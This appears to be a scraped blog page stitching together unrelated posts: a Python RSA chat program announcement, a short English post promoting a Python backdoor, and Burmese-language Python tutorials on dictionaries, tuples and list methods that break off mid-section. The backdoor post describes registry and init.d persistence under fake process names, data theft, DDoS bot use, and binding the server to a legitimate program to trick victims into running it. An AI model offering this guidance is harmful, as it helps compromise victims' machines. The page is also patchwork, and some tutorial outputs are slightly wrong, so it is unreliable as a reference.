Hi folks, I just wrote chatting program by Python. It is a client / server chatting system
(socket server). For secure messaging, it uses RSA key encryption.
Might be useful for private chats.
You will need PyCrypto library for encryption.

pip install pycrypto

Use version 2, the project moved from Socket to Twisted framework.
You will need Twisted framework, install here
Now it becomes asynchronous communication which is better for chatting.
Also fixed for username, now there cannot be duplicated username in same channel.

support private chat to specific user
priv8:USERNAME> MESSAGE
to view all commands
cmd:help

Check the soruce code here

Screen Shots

Client


Server
Backdoor in Python
 
And if you target Windows machine, use _winrag module to edit Registry therefore you can add auto run key with fake procress name. For *nix machines, there is a file called /etc/init.d which is similar to Windows Registry

Features: 
  • Upload scripts for further attacks such as gaining Admin access or use at bot for DDOS. 
  • Steal(download) Datas. use 'exit' to disconnect and you can reconnect easily. 
  • For commands in detials, type 'help' in console.
Usage for console: python console.py ip port.

Bind server.py with legitimate program and send it to victim. You can actually just give server.py and told to run it. But it is suspicious to give it directly.
GitHub Repository




 ကြ်န္ေတာ္တို ့အရင္တစ္ေခါက္က Tuple အေျကာင္းေျပာခဲ့ျကတယ္ေနာ္ ဒီတစ္ေခါက္ေတာ့ Dictionary အေျကာင္းေလးစလိုက္ျကရေအာင္ဗ်ာ...

Dictionaries

သူကေတာ့ကြ်န္ေတာ္တုိ ့အရင္ကေျပာခဲ့တဲ့ List လိုပါပဲ ဒါေပသိမတူတာက List မွာကို indices က integers ျဖစ္ေပမယ့္ ဒီေကာင္မွာေတာ့ indices က any types ပါ။ (Exceptions ေလးေတြေတာ့ရွိတာေပါ့) ျပီးေတာ့သူက Curly Bracket တြန္ ့ကြင္းေလးနဲ ့ေရးတယ္ဗ်။ {}

Dictionary တစ္ခုမွာဆို Keys and Values ဆိုျပီးရွိတယ္ဗ်။ Key တစ္ခုစီတိုင္းကဆိုင္ရာဆိုင္ရာ value ေတြနဲ ့ခ်ိတ္ထားပါတယ္။ E လိုေျပာရမယ္ဆို mapping ေပါ့။ ဒီလို key and value တြဲရက္ကို key-value pair လို ့ဆိုသလို item လို ့လဲေခါ္ပါေသးတယ္။ ျပီးေတာ့ key and value ကို : နဲ ့ျခားျပီး item ေတြျကားကိုေတာ့ , နဲ ့ျခားပါတယ္။ Tuple တစ္ခုျပုလုပ္ရင္ tuple() ဆိုတဲ့ function ရွိသလို dictionary တစ္ခုအတြက္လဲ dict() ဆုိတာရွိပါတယ္။

>>> means = dict()
>>> means
{}
>>> means['MSF'] = 'Myanmar Security Forum'
>>> means
{'MSF':'Myanmar Security Forum'}


ဒါေပမယ့္ အခုလိုမေရးပဲ Dictionary ထဲမွာသင္က items ၃, ၄ ခုထည့္မယ္ဆိုေအာက္ကလိုေရးသြားလို ့ရပါတယ္။

>>> means = {'MSF': 'Myanmar Security Forum', 'GNU': 'GNU is Not Unix',
'GPL': 'General Public License'}


ဒါေပသိ အခုလို Dictionary ေလးလုပ္ျပီး print ထုတ္ျကည့္ပါ။ ခုနကေရးလုိက္တဲ့ order အတိုင္းျပန္ထြက္လာမွာမပ ာုတ္ပါဘူး။ သို ့ေသာ္ ဘာမွေတာ့အေရးထားစရာမလိုပါဘူး ကြ်န္ေတာ္တို ့က key နဲ ့ပဲ value ကိုျပန္ေခါ္မွာပါ။ Lists တို ့လုိ index နဲ ့ေခါ္စရာမွမလိုတာ။ ေနာက္ dictionary တစ္ခုထဲမွာကိုယ္သိခ်င္တဲ့ key ရွိမရွိကို in နဲ ့စစ္ျကည့္လို ့ရပါတယ္။ သို ့ေသာ္သူက key ကိုပဲတိုက္သြားမွာေနာ္ value နဲ ့တိုက္တာမပ ာုတ္ပါဘူး ဒါေလးကိုေတာ့သတိထားေပးပါ။

>>> means['MSF']
'Myanmar Security Forum'
>>> 'MSF' in means
True
>>> 'Myanmar Security Forum' in means
False
>>> # Because there's no key called 'Myanmar Security Forum' in means
…
>>>


သေဘာေပါက္တယ္မလားဗ်။ သူက key ကိုပဲတိုက္စစ္တာပါ။ ဒုတိယတစ္ခုမွာက်ေတာ့ 'Myanmar Security Forum' ဆိုတဲ့ key က မရွိဘူးေလ ဒီအတြက္ေျကာင့္ False ျပန္တာပါ။

4.1 Dictionary as a set of counters
ကြ်န္ေတာ္တို ့ Word Counter ေလးတစ္ခုေလာက္ေရးျကည့္ရေအာင္ဗ်ာ။

def counter(words):
thedictionary = dict()   #1
for x in words:        #2
if x not in thedictionary: #3
thedictionary[x] = 1
else:        #4
thedictionary[x] += 1
return thedictionary


#1 မွာကြ်န္ေတာ္တို ့အရင္ဆံုး empty dictionary တစ္ခုလုပ္လိုက္ပါတယ္ေနာက္ #2 မွာကြ်န္ေတာ္တို ့for နဲ့ looping ပတ္ပါတယ္။ အဲ့သလို looping ပတ္တဲ့အခ်ိန္မွာ #3 မွာဆိုအကယ္လို ့looping ပတ္တဲ့ထဲကေကာင္က thedictionary ဆိုတဲ့ dictionary ထဲမွာမပါခဲ့ရင္ အဲ့ word ကို key အျဖစ္ထားျပီး value 1 နဲ ့ေပးညီေပးပါတယ္။ #4 ဆုိတဲ့ else (မပါတာမပ ာုတ္ေတာ့ Dictionary ထဲမွာပါျပီးသားျဖစ္ေနရင္) ဒါဆိုရင္ေတာ့ value ကို 1 ေပါင္းေပးသဿြားလိုက္ပါတယ္။ ေနာက္ပတ္စရာရွိတာပတ္ျပီးသြားရင္ေတာ့  dictionary ကို return ျပန္ပါတယ္။
ပိုရွင္းေအာင္ function ေလးကို interpreter မွာေရးျပီးေတာ့စမ္းျကည့္ေပါ့ဗ်ာ။

4.2 Reverse lookup
ကြ်န္ေတာ္တို ့ေတြ Value Lookup Program ေလးတစ္ခုဆို dictionary ကို d လို ့ဆိုပါစို ေနာက္ key ကိုေတာ့ k ေပါ့။ ဒါဆို key နဲ ့သက္ဆိုင္ရာ value ဆိုရင္ေတာ့ v = d[k] ျဖစ္မယ္ေပါ့ ဒီလိုမ်ိုးကို lookup လို ့ေခါ္ပါတယ္ ဒါေပသိ ကြ်န္ေတာ္တို ့က value ကိုရိုက္ထည့္ျပီး key ကုိျပန္သိခ်င္ရင္ဘယ္လိုလုပ္ျကမလဲ?
ဒီလိုမ်ိုးအတြက္ေတြးျကည့္ေတာ့ျပသနာေလးရွိလာပါတယ္။ အဲ့တာက အဲ့ဒီ value ကိုပဲ key ဘယ္နခုကေတာင္ mapping ထားတာလဲ? ေျပာရရင္ဗ်ာ d = {'a': 'MSF', 'b': 'MSF'} ဒါမ်ိုးကိုေျပာတာပါ။ အဲ့လုိမ်ိုးျဖစ္ခဲ့ရင္ေကာ ကြ်န္ေတာ္တို ့ကဘယ္လို return ျပန္ေစခ်င္တာလဲ။
ေအာက္ကေကာင္ေလးကေတာ့ value ကိုေတာင္းျပီးေတာ့ အဲ့ value နဲ့ mapping ျဖစ္ေနျပီး စေတြ ့ေတြ ့ခ်င္း key ကို return ျပန္မွာပါ။

def reverse_lookup(d, v):
for k in d:
if d[k] == v:
return k
raise ValueError


for နဲ ့ looping ပတ္ထားတာမွာသေဘာက d ဆုိတဲ့ dictionary ထဲမွာရွိေနတဲ့ k ဆိုတဲ့ key ေတြထဲက အကယ္လို ့ key ရဲ့ value ( d[k] ) ကသာ v ဆိုတဲ့ value နဲ ့တူညီေနမယ္ဆိုရင္ အဲ့ key ကို return ျပန္ေပးပါလို ့ေျပာတာပါ။ ေနာက္တူညီတာမ်ိုးမရွိရင္ ValueError ဆိုတဲ့ exception ကိုေဖာ္ျပခိုင္းတာပါ။ ရွင္းတယ္မလားဗ်။ ပိုျမင္လဿြယ္သြားေအာင္ မိမိဘာသာ dictionary တစ္ခုေဆာက္ေနာက္ d မွာ asign လုပ္ေနာက္ v မွာလဲ search ခ်င္တဲ့ value ကိုထည့္ျပီးစမ္းျကည့္လိုက္ပါ။ ဒီေလာက္ေတာ့လုပ္တတ္မယ္ထင္ပါတယ္ေနာ္ ကြ်န္ေတာ္ေရးမျပေတာ့ပါဘူး။
4.3 Dictionaries and Lists
Dictionaries ေတြထဲမွာ Lists ေတြကို values အေနနဲ ့သံုးနိုင္ပါတယ္။ 
Key နဲ ့ Value ကို invert လုပ္မယ့္ program ေလးတစ္ခုကိုေတြးျကည့္ရေအာင္ဗ်ာ။ Function မွာအရင္ဆံုး empty dictionary တစ္ခုေဆာက္ထားမယ္ function parenthesis မွာ dictionary ေတာင္းမယ္ ဒီ program ကေန key နဲ ့ value ကိုယူမယ္ဗ်ာ။ ဒီအထိေတာ့အိုေကျပီ ဒါဆို condition တစ္ခုလုပ္မယ္အဲ့ condition ထဲမွာ value ကမရွိရင္ value ကို key အေနနဲ ့ယူမယ္ေနာက္ equal sign ရဲ့ right hand side မွာ key ကိုေရးမယ္။ အကယ္လို ့ value ကရွိေနမယ္ဆိုရင္ သူရဲ့  key ကို append လုပ္မယ္။ ေနာက္ဆံုးရလာတဲ့ result ကို return ျပန္လိုက္ပါမယ္။
စားသြားလားမသိဘူး။ ေျပာေနျကာတယ္ ရွင္းသြားေအာင္ေအာက္က code ေလးေတြကိုဖတ္လိုက္ပါေတာ့။
def invert_dict(d):
inverse = dict()
for key in d:
val = d[key]
if val not in inverse:
inverse[val] = [key]
else:
inverse[val].append(key)
return inverse


အဲ့ function ေလးကိုမိမိဘာသာစမ္းျကည့္လိုက္ပါ။ စမ္းျပီးရင္ေမးစရာတစ္ခုရွိပါလိမ့္မယ္ က်ုပ္ထည့္လိုက္တံုးက string ေတြေလ invert ျပန္ထြက္လာေတာ့ ဘာလို ့value ေတြက List ျဖစ္ေနရတာလဲ? ဒီလိုဗ် အမွန္ဆုိ key and value invert လုပ္ဖို ့အတြက္က List မလုပ္လဲရပါတယ္ ဒါေပသိ ကြ်န္ေတာ္ကအေပါ္မွာေရးခဲ့တဲ့ counter() ဆိုတဲ့ function ေလးနဲ့တြဲသံုးျပစရာေလးရွိလို ့ ကြ်န္ေတာ့္အစမွာ Lists က value ျဖစ္နိုင္တယ္လို ့ေျပာတယ္ ပ ာုတ္တယ္ပ ာုတ္.... အကယ္လို့သာခင္ဗ်ားစီမွာ Letters ကေန frequencies ကို map တဲ့ dictionary ကို frequencies ကေန letters ကိုျပန္ map တဲ့ dictionary လိုခ်င္တယ္ဗ်ာ invert မယ္ေပါ့ ဒါေပသိ အကယ္လို့သာ frequency တူတဲ့ letter ေတြသာပါလာမယ္ဆို inverted dictionary ထဲမွာပါလဲမယ့္ value ေတြသည္ string မပ ာုတ္ပဲ Listed Letter ေတြျဖစ္ေနရပါမယ္။
လည္ေနေသးတယ္ထင္တယ္။

(counter() ဆိုတဲ့ေကာင္က built-in မပ ာုတ္ဘူးေနာ္ အေပါ္မွာကြ်န္ေတာ္တို ့ေရးခဲ့ျပီးသားပါ)

>>> mydict = counter('hello')
>>> mydict
{'h': 1, 'e': 1, 'l': 2, 'o': 1}
>>>
>>> inverse = invert_dict(mydict)
>>> inverse
{1: ['h', 'e', 'o'], 2: ['l']}

အခုလိုမ်ိုး frequency တစ္ခုထဲရွိတဲ့ letter ေတြကိုတစ္တြဲ ေနာက္ frequency နွစ္ခုရွိတာကိုတစ္တြဲဒါမ်ိုးစုခ်င္တဲ့အတြက္ invert_dict() မွာကြ်န္ေတာ္တို ့value ျပန္ရင္ List နဲ ့လုပ္ခဲ့တာပါ။

ကြ်န္ေတာ္က Lists ေတြကို Dictionary ရဲ့ Value ျဖစ္နုိင္တယ္လို ့ေျပာခဲ့တယ္။ ေနအံုးဒါဆို key ေကာမျဖစ္နိုင္ဘူးလားဆိုေတာ့ မျဖစ္နုိင္ပါဘူး ဘာလို ့လဲဆိုတာေအာက္ကဥပမာေလးနဲ ့ျပပါမယ္။

>>> x = [1, 2, 3]
>>> y = dict() # Creating Empty Dictionary
>>> y[x] = 'value'


ဒီေတာ့ဘာဆက္ျဖစ္မလဲ? ဘာျဖစ္မလဲဆိုေတာ့ Error တက္တာေပါ့ကြယ္ ဒါဆိုဘယ္လို Error လဲ? ပ ာုိလို Error အဲေလ TypeError ပါ။ တိတိက်က်ေျပာရရင္ TypeError: list objects are unhashable
ဘာလဲ unhashable? ဒီလိုဗ် Dictionary က hashtable ကိုအသံုးျပုျပီး implementation ျပုလုပ္ပါတယ္ဆိုေတာ့ကာေျပာခ်င္တာက keys ေတြသည္ hashable ျဖစ္ရပါမယ္ ဒါေပသိအခုေျပာပံုဆို Lists က hashable မျဖစ္ဘူး ဒါကိုဆိုလိုတာပါ။

hash ဆိုတာက value တစ္ခုကိုယူျပီး integer ျပန္ေပးတဲ့ function တစ္ခုပါပဲ။ Dictionaries ေတြက items (keys and values) ေတြကိုျကည့္ဖို ့အတြက္ခုနက return ျပန္ေပးတဲ့ integers တနည္းေျပာရရင္ hash values ေတြကိုအသံုးျပုပါတယ္။ 
ုKeys ေတြက immutable ျဖစ္ေနရင္ေျပာစရာမရွိပါဘူး ဒါေပသိခုနက List လို mutable type ဆိုရင္ေျပာစရာရွိလာျပီ။ ဒီလိုဗ်ာသင္က key-value pair တစ္ခုကို create လုပ္လိုက္ျပီဆို Python က key ကို hash လုပ္ျပီး corresponding location တစ္ခုခုမွာ သိမ္းထားလိုက္ပါတယ္။ အကယ္လုိ ့သာသင္က key ကိုခ်ိန္းလိုက္တယ္ဆို Python ကလဲ hash ျပန္လုပ္ျပီးေနာက္တစ္ေနရာမွာထပ္သဿိမ္းတယ္ ဒါဆုိ key တစ္ခုအတြက္ entry ၂ခုျဖစ္သြားျပီ ဒါမွမပ ာုတ္ရင္ key ကိုရွာကိုမေတြ ့တာပဲျဖစ္သြားမွာပါ။ ဒါဆို dictionary ကအလုပ္မလုပ္ေတာ့ဘူးေပါ့ဗ်ာ။
ဒါေျကာင့္ keys ေတြသည္ hashable နဲ ့immutable ျဖစ္ရတာပါ။ ဒါေျကာင့္ constant အျဖစ္သံုးနိုင္တဲ့ tuple ေတြကို key အျဖစ္သံုးနိုင္တာပါ။ (tuple အေျကာင္းကိုအရင္အခန္းမွာေျပာခဲ့ျပီးပါျပီ။)

4.4 Global Variables
Python မွာ special frame ျဖစ္တဲ့ __main__ ဆိုတာရွိတယ္ဗ်။ __main__ ထဲမွာရွိတဲ့ Variables ေတြသည္ global variables ေတြပါ ဘာလို ့လဲဆိုတဲ့ တျခား function ေတြေနယူသံုးလို့ရလို ့ပါ။ ေနာက္ျကံုတံုးေျပာအံုးမယ္ Local Variables ေတြဆိုတာလဲရွိပါတယ္ သူတို ့ကေတာ့ သူတို ့ရဲ့ function ျပီးသြားရင္ function နဲ ့အတူေပ်ာက္သြားတယ္ေပါ့။ ေနာက္ Global Variables ေတြကို flags ေတြအေနနဲ့လဲသံုးျကပါတယ္။ ေအာက္ကဥပမာေလးလိုေပါ့။
verbose = True

def example1():
if verbose:
print “It's True!”


ရွင္းစရာမလိုဘူးထင္ပါတယ္ သေဘာေပါက္တယ္ပ ာုတ္တယ္ပ ာုတ္။ ေနာက္ Global, Local ကိုစဖတ္တဲ့သူေတြမွားတာတစ္ခုရွိတယ္ဗ် အဲ့တာကေတာ့...

verbose = False

def example2():
verbose = True


အဲ့မွာစတာပဲကိုယ့္လူေရ သူတို ့ကေတာ့ verbose ရဲ့ value ကိုခ်ိန္းတယ္ေပါ့ ဒါေပသိထင္သလိုမျဖစ္ပဲမေျပာင္းဘူးဗ်။ ဒါကတကယ္ေတာ့ Global ကေကာင္ကိုခ်ိန္းတာျဖစ္မသဿြားပဲနဲ ့ Local ထဲမွာ verbose ဆုိတဲ့ variable အသစ္တစ္ခုလုပ္လိုက္တာပါ။ ဒီေတာ့ Global က variable ကိုသက္ေရာက္မွုမရွိဘူးေပါ့ဗ်ာ။ ဒါဆိုေပ ာ့လူ က်ုပ္ကေတာ့ Global ကေကာင္ကိုခ်ိန္းခ်င္တယ္ဗ် ဒီလိုမလုပ္လို ့ဘယ္လိုသြားလုပ္မွာလဲ? ဒီလိုရွိတယ္ဗ်  Global ကေကာင္ကိုခ်ိန္းခ်င္အရင္ဆံုး declare ေျကညာေပးရတယ္ေပါ့ဗ်ာ။

verbose = False

def example2():
global verbose
verbose = True


ေအာက္ကေကာင္ေလးကေတာ့ Global က variable ကိုခ်ိန္းခ်င္တဲ့ေကာင္ေလးေပါ့ အဲ့လုိခ်ိန္းဖို ့လုပ္တဲ့အခါမွာ UnboundLocalError တက္ပါတယ္။

>>> count = 0
>>> def example3():
... count += 1
...
UnboundLocalError: …..............


ဒီေတာ့ဘာခက္သလဲအေပါ္မွာေျပာသလိုေျကညာေပးလိုက္ေပါ့ (တစ္ခုေတာ့ေျပာအံုးမယ္ အကယ္လို Variable ကသာ mutable type ျဖစ္ေနခဲ့ရင္ေတာ့ declare လုပ္စရာမလိုပါဘူး)

Dictionary အေျကာင္းကေတာ့ဒီေလာက္ပါပဲ။


(c) PyLab 2016
အပိုင္း၃ကိုမွာေတာ့ ကြ်န္ေတာ္တို ့ Tuple အေၾကာင္းကိုေလ့လာၾကပါမယ္။

Tuples


3.1 Tuples are immutable
အရင္ကလဲကြ်န္ေတာ္ေျပာခဲ့ပါတယ္။ Tuples ေတြကို constant ျဖစ္ေစခ်င္တဲ့ Sequence ေတြမွာသံုးၾကပါတယ္။ Tuple ဆိုတာပာာလဲ Values ေတြကုိ Sequence လိုက္သတ္မွတ္ထားတာပါပဲ။ Values ေတြကၾကိဳက္တဲ့ Type ျဖစ္ႏိုင္ပါတယ္ ေနာက္ Lists တံုးကလိုပါပဲ integers နဲ ့ပဲ indexed ထားတာပါ။ Lists နဲ ့တူတဲ့အခ်က္ေတြေပါ့ေလ မတူတာဆိုလို ့ Mutable မျဖစ္တာပါ။
Tuples ေတြကိုေရးရင္ parentheses မပါပဲ comma (,) ကုဒ္ျပီးေရးလိုက္တာနဲ ့တင္ tuple ျဖစ္ပါတယ္။
>>> a = 'Hello',


ဒါေပသိအက်င့္ျဖစ္ျပီး ၾကည့္ရတာရွင္းရွင္းလင္းလင္းျဖစ္ေအာင္ေတာ့ထည့္ေရးေပးပါ။
>>> a = ('Hello', 'World', 1)
>>> type(a)
<type 'tuple'>

>>> type(a[0])
<type 'string'>
>>> type(a[2])
<type 'int'>

>>> b = tuple('MSF')
>>> b
('M', 'S', 'F')



Lists မွာတံုးကေျပာခဲ့တဲ့ indexing နဲ ့ slicing က tuple မွာလဲအလုပ္လုပ္ပါတယ္။
>>> a
('Hello', 'World', 1)
>>> a[2]
1

>>> a[:2]
('Hello', 'World')



Tuple ေတြသည္ immutable ျဖစ္တဲ့အတြက္ modify လုပ္လို ့မရပါ ဒါေပသိ replace လုပ္လို ့ေတာ့ရပါတယ္။
>>> a[2] = 2
TypeError: 'tuple' object doesn't support item assignment

>>> a = tuple('MSF')
>>> a
('M', 'S', 'F')




3.2 Tuple Assignment
Variable ၁ခုထက္ပုိတာကို တျပိဳင္ထဲ assign လုပ္ခ်င္ comma ကုဒ္ျပီးတြဲေပးသြားလို ့ရပါတယ္။ ဒါေပသိ left hand side နဲ ့ right hand side က အေရအတြက္တူညီရမွာပါ။
>>> a, b = 1, 2
>>> c, d = 1, 2, 3
ValueError: too many values to unpack

>>> addres = 'helloworld@python.org'
>>> usrname, domain = addres.split('@')


အရင္က split() ဆိုတာကိုသံုးေပးခဲ့ဖူးပါတယ္။ သေဘာေပါက္မယ္ထင္ပါတယ္။

3.3 Tuples as return values
Function တစ္ခုပာာ Value တစ္ခုထဲကိုပဲ Return ျပန္ႏိုင္ပါတယ္။ ဒါေပမဲ့ Value က tuple ျဖစ္ေနရင္ ဒါပာာ multiple values ကို return ျပန္ေပးသလိုပါပဲ။ သခ်ာၤမွာ Quotient (စားလဒ္) နဲ ့Remainder (အၾကြင္း) ဆိုတာၾကားဖူးမယ္ထင္ပါတယ္။ ဒီအတြက္ Python မွာ divmod() ဆိုတဲ့ built-in function တစ္ခုရွိပါတယ္။ သူက argument ၂ခုကိုယူမယ္ေနာက္ျပီးရင္ quotient နဲ ့ remainder ကို tuple အျဖစ္နဲ ့့ျပန္ေပးပါတယ္။
ကြ်န္ေတာ္ေျပာတာထက္ပိုရွင္းခ်င္ Python interpreter မွာ help('divmod') လို ့ရိုက္ၾကည့္လိုက္ပါ။ သူတြက္ခ်က္တဲ့ formula ေလးကို x နဲ ့ y အေနနဲ ့ေဖာ္ျပေပးထားမွာပါ။
>>> a = divmod(9, 3)
>>> a
(3, 0) #first argument is quotient and second argument is remainder


3.4 Lists and tuples
Python မွာ zip() ဆိုတဲ့ built-in function ေလးတစ္ခုရွိတယ္ဗ်။ သူက ၂ခုဒါမွမပာုတ္ ၂ခုထက္ပုိတဲ့ sequence ေတြကို tuple တစ္ခုခ်င္းစီနဲ ့ List ျပဳလုပ္ေပးပါတယ္။ လည္သြားျပီလားမသိ... ဥပမာေလးၾကည့္လိုက္ရေအာင္...
>>> a = 'abc'
>>> b = [1, 2, 3]
>>> zip(a, b)
[('a', 1), ('b', 2), ('c', 3)]


ရွင္းတယ္မလား ဒါဆိုဆက္မယ္ အကယ္လို ့ zip ထဲထည့္မယ့္ argument ၂ခုက length မတူရင္ေကာ

>>> c = 'Hello'
>>> d = 'MSF'
>>> e = zip(c, d)
>>> e
[('H', 'M'), ('E', 'S'), ('L', 'F')]



ျမင္တယ္မလားဗ်။ Error မတက္ပါဘူး။ သူမွာရွိသေလာက္နဲ ့ပဲတြဲေပးသြားမွာပါ။ ဒါဆိုအဲ့ဒီ e ဆိုတာကို for loop ပတ္ျပီးေတာ့ တြဲရက္ argument ေတြကိုတစ္ေၾကာင္းခ်င္းေဖာ္ျပမယ့္ function ေရးမယ္ဗ်ာ။
>>> for x, y in e:
… print x, y
...
H M
e S
l  F


3. 5 Comparing Tuples

Tuple ေတြကို compare လုပ္မယ္ဆိုရင္ left hand side နဲ ့ right hand side ရွိတယ္ဆိုပါစို ့။ LHS ဘက္က first element ကို RHS ဘက္က first element နဲ ့ကိုစျပီး compare လုပ္ပါတယ္။ equal ျဖစ္တယ္ဆုိမွေနာက္ element ကိုသြားျပီး differ ျဖစ္တဲ့အထိဒီအတိုင္းလုပ္ေဆာင္သြားပါတယ္။ Subsequence ေတြကိုေတာ့ထည့္မတြက္ပါဘူး။
>>> (0, 1, 2) < (0, 3, 4)
True
>>> (0, 1, 10) < (0, 3, 4)
True
>>> (0, 10, 2) < (0, 3, 4)
False
>>> (10, 1, 2) < (0, 3, 4)
False



sort function ကလဲအဲ့သလိုပဲပါ first element ကိုစလုပ္ပါတယ္။ အကယ္လို ့တူေနခဲ့ရင္ second element နဲ ့sort သြားပါတယ္....
ေနာက္ေျပာစရာရွိတာေလးကေတာ့ DSU patten ေပါ့။ အရွည္ေခါက္ကေတာ့ Decorate, Sort and Undecorate


Decorate = အရင္ဆံုး sequence ကို tuples ေျပာင္းေနာက္သက္ဆိုင္ရာ sequence ထဲက element ရဲ့သက္ဆိုင္ရာ key နဲ ့အတူ List ထဲထည့္လိုက္ပါတယ္။ ေျပာရရင္ List of tuples ေပါ့။
Sort = အဲ့ List ထဲက tuple ေတြကို sorting လုပ္ပါတယ္။
Undecorate = ေနာက္ sorted လုပ္ထားတဲ့ sequence ကို extract ျပန္လုပ္ပါတယ္။
ေအာက္ကဥပမာေလးၾကည့္လိုက္ရေအာင္ပိုရွင္းေအာင္ေပါ့ သူက ထည့္လိုက္တဲ့ string ကို List အေနနဲ ့ေျပာင္းျပန္ျပေပးမွာပါ။

def sortby_length(x):
a = []
for word in x:
a.append((len(word), word)) # Decorate
a.sort(reverse=True) # Sort
res = []
for length, word in a:
res.append(word)
return res # Undecorate



3.6 Sequence of sequences
Strings, lists နဲ ့ tuples ေတြကိုလိုအပ္တဲ့ေနရာမွာသင့္ေတာ္သလိုအသံုးျပဳၾကပါတယ္။ String ကေနစေျပာရမယ္ဆို strings ေတြပာာ immutable ျဖစ္ပါတယ္ေနာက္ elements ေတြပာာလဲ character ေတြျဖစ္ကိုျဖစ္ရပါမယ္။ အကယ္လို့ new strings လဲမလုပ္ခ်င္ပဲ characters ေတြကို changes ျပဳလုပ္မယ္ဆို List ကိုအသံုးျပဳရပါမယ္။
Lists ေတြက tuples ေတြထက္ပိုေတြ ့ရတတ္ပါတယ္။ mutable ျဖစ္တာကလဲတစ္ပိုင္းေပါ့ ဒါေပသိ တခ်ိဳ ့အေျခအေနမ်ိဳးေတြမွာ Tuples ေတြကိုအသံုးျပဳရမယ့္အခါမ်ိဳးေတြရွိတတ္ပါတယ္။ ဘယ္လိုအခ်ိန္အခါမ်ိဳးလဲဆိုေတာ့.....



  1. Return statement လိုေနရာမ်ိဳးမွာဆို List တစ္ခုလုပ္ရတာထက္ Tuple ပဲအသံုးျပဳရတာကပိုအဆင္ေျပပါတယ္ သို ့ေသာ္ exception ေလးေတြေတာ့ရွိတာေပါ့..
  2. Dictionary အေၾကာင္းေတာ့မေျပာရေသးဘူးေပါ့... (အၾကမ္းဖ်င္းေျပာရမယ္ဆို Dictionary မွာ keys and values ဆိုျပီးရွိပါတယ္) အဲ့ဒီ Keys ေတြကိုက် constant ျဖစ္ဖို ့အတြက္ immutable types ေတြျဖစ္တဲ့  strings ဒါမွမပာုတ္ tuples ကိုပဲအသံုးျပဳရပါတယ္။
  3. Function ထဲကို sequence တစ္ခုအား argument အေနနဲ ့ထည့္တဲ့အခ်ိန္မွာ tuples ကိုအသံုးျပဳတာက aliasing မွာ error ျဖစ္ႏိုင္ေျခနည္းသြားေစပါတယ္။

ဒါေပသိ Tuples ေတြက immutable ျဖစ္တဲ့အတြက္ Lists ေတြလို sort တို ့လို modify လုပ္တဲ့ေကာင္ေတြေတာ့မရဘူးေပါ့။ၾကံဳတံုးေျပာသြားအံုးမယ္ sort() က ငယ္စဥ္ၾကီးလိုက္စီသလို ၾကီးစဥ္ငယ္လိုက္ဆို reverse() ကိုသံုးႏိုင္ပါတယ္။ ဒါေပသိ Python မွာ Tuple ကို List လို sort တို ့reverse  တို ့လုပ္ႏိုင္ေအာင္ built-in function ေလး ၂ခုရွိပါေသးတယ္။ အဲ့တာကေတာ့ sorted() နဲ ့ reversed() ပါ။ 
မတူဘူးေနာ္... အခုပာာက ed နဲ ့ဆံုးတာေနာ္။ ေနာက္အဲ့ေကာင္ေတြက list အေနနဲ ့ျပန္တာပါ ဒီေတာ့ tuple ျပန္ျဖစ္ေစခ်င္ tuple() ဆိုတဲ့ function နဲ ့တြဲသံုးရမွာပါ။ ဥပမာေလးေရးျပပါမယ္။
>>> a = (1, 3, 2)
>>> a = tuple(sorted(a))
>>> a
(1, 2, 3)


Tuple အေၾကာင္းကေတာ့ဒီေလာက္ပါပဲ သိပ္ေျပာစရာမရွိပါဘူး။ ေနာက္တစ္ခန္းက်ရင္ေတာ့ကြ်န္ေတာ္တို ့Dictionary အေၾကာင္းကိုေလ့လာၾကပါမယ္။
(C) PyLab 2016
အပိုင္း ၂မွာေျပာခဲ့တဲ့ Lists ေတြအေၾကာင္းကိုပဲဆက္ေျပာပါမယ္ဗ်ာ။

2.6 List methods
Python မွာ Lists အတြက္အသံုးျပဳႏိုင္တဲ့ methods ေလးေတြရွိပါတယ္။ ပထမတစ္ခုကေတာ့ append() ပါ။
>>> a = [1, 2, 3]
>>> a.append(4)
>>> a
[1, 2, 3, 4]


ဒါဆို b ဆိုတဲ့ List ထပ္လုပ္ျပီး b ထဲက elements ေတြကို a ထဲထည့္မယ္ဗ်ာ။ append() ကိုပဲသံုးရမလားဆိုေတာ့မပာုတ္ပါဘူး။ သံုးရင္ Error ေတာ့မတက္ပါဘူး ဒါေပမယ့္ ကြ်န္ေတာ္တို ့ျဖစ္ေစခ်င္သလိုျဖစ္မွာမပာုတ္ပါဘူး။
>>> a
[1, 2, 3, 4]
>>> b = [5, 6]
>>> a.append(b)
[1, 2, 3, 4, [5 ,6]]


ျမင္တယ္မလားဗ်။ အခုလို append သံုးလိုက္ရင္ b ရဲ့ Elements ေတြကိုမထည့္လိုက္ပဲ b ဆုိတဲ့ List ၾကီးကို nested အေနနဲ ့ထည့္လိုက္ပါတယ္။ ဒီေတာ့ဘယ္လိုလုပ္ၾကမလဲ? 
extend() ဆိုတဲ့ေနာက္ထပ္ method ကိုသံုးပါမယ္။ သူကေတာ့ကြ်န္ေတာ္တို ့လိုခ်င္တဲ့ b ရဲ့ elements ေတြကိုပဲယူျပီး a ထဲထည့္ဖို ့အတြက္ကိုလုပ္ေဆာင္ေပးမွာပါ။
>>> a = [1, 2, 3]
>>> b = [4, 5]
>>> a.extend(b)
>>> a
[1, 2, 3, 4, 5]


ဒါဆိုေနာက္ method တစ္ခုကိုထပ္သြားရေအာင္ဗ်ာ။ sort() ဆိုတာကို alphabet အလိုက္ျပန္စီတာမ်ိဳးေတြေနာက္ order အလိုက္(Low to High) ျပန္စီခ်င္ရင္အသံုးျပဳပါတယ္။
>>> a = [‘e’, ‘b’, ‘d’, ‘f’, ‘a’, ‘c’]
>>> a.sort()
>>> a
[‘a’, ‘b’, ‘c’, ‘d’, ‘e’, ‘f’]


ဒါဆို ခုနကလို sort လုပ္တာကို variable တစ္ခုနဲ ့ေပးညီၾကည့္လိုက္ပါ။
>>> a = [‘e’, ‘b’, ‘d’, ‘f’, ‘a’, ‘c’]
>>> b = a.sort()
>>> print b
None


ဘာမွျပန္မျပဘူးေနာ္။ ဘာလို ့လဲဆိုေတာ့ List methods ေတြအကုန္လံုး List ကို modify လုပ္ျပီးရင္ return None ပဲျပန္ပါတယ္။ ေျပာရရင္ List methods ေတြအကုန္လံုးက void ေတြပါပဲ။ C သမားေတြဆိုသိျပီးသားျဖစ္မွာပါ။ void function ေတြဆို return 0 လို ့ေအာက္ဆံုးမွေရးစရာမလိုတာကို… အခုလဲဒီသေဘာပါပဲ။
2.7 Map, filter and reduce 
